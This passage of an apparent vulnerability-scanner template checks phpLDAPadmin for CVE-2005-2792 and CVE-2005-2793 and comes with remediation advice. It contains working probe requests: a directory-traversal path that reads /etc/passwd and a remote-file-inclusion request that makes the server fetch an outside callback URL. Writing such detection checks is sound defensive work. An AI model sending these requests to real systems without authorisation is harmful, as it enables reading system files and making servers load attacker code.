port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'pla_page && lin_proof != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?m)(?:^|>)root:[^:\\r\\n<>]*:0:[01]:"
condition: 'pla_page && lin_proof != ""'
on_match:
set_vars:
ctrl_hit: true
# Proof kept only when the control answered and stayed clean (fail-closed).
- id: lfi-verdict
action: script
code: "lin_proof"
condition: 'pla_page && lin_proof != "" && ctrl_r.status != 0 && ctrl_hit == false'
store_as: lfi_proof
- id: pla-found
action: set_var
var_name: pla_found
var_value: true
condition: "pla_page"
# ── Remote file inclusion: OOB callback (CVE-2005-2793) ──────────────────
# Still inside the loop group (it ends at wait_oob): rfi_sent makes it go
# out once, to the dir that answered with the phpLDAPadmin page.
- id: rfi-oob
action: http_request
method: GET
path: "{{pla_dir}}/welcome.php?custom_welcome_page={{oob_url}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled && pla_found && rfi_sent == false"
store_as: rfi_r
- id: rfi-sent
action: set_var
var_name: rfi_sent
var_value: true
condition: "oob_enabled && pla_found"
- id: rfi-oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && pla_found"
on_success:
finding:
cves: [CVE-2005-2793]
title: "phpLDAPadmin welcome.php custom_welcome_page Remote File Inclusion (CVE-2005-2793)"
description: "An unauthenticated request to welcome.php with custom_welcome_page set to the noctis callback URL made the server fetch that URL: the page passes the parameter to include_once(), so an attacker can make it fetch and run PHP code from a server they control."
remediation: "Upgrade phpLDAPadmin to 0.9.7 or later, and disable PHP register_globals and allow_url_fopen."
confidence_delta: 0.65
qod: 97
evidence: "OOB HTTP callback received after GET {{pla_dir}}/welcome.php?custom_welcome_page=<OOB URL> (remote file inclusion)"
# ── Finding: local file read (control answered and stayed clean) ─────────
# Reported on OOB scans too, next to the remote-inclusion finding.
- id: report-passwd
action: match
source: lfi_proof
pattern: "^root:<redacted>:0:[01]:"
condition: "pla_found"
on_match:
finding:
cves: [CVE-2005-2792]
title: "phpLDAPadmin welcome.php custom_welcome_page Directory Traversal (CVE-2005-2792)"
description: "An unauthenticated request to welcome.php with custom_welcome_page set to a relative path to /etc/passwd returned the phpLDAPadmin page followed by the content of /etc/passwd, while the same request for an absent file did not: the page includes any file the web server can read."
remediation: "Upgrade phpLDAPadmin to 0.9.7 or later, and disable PHP register_globals."
confidence_delta: 0.55
qod: 75
evidence: "{{pla_dir}}/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{lfi_proof}})"
stop: true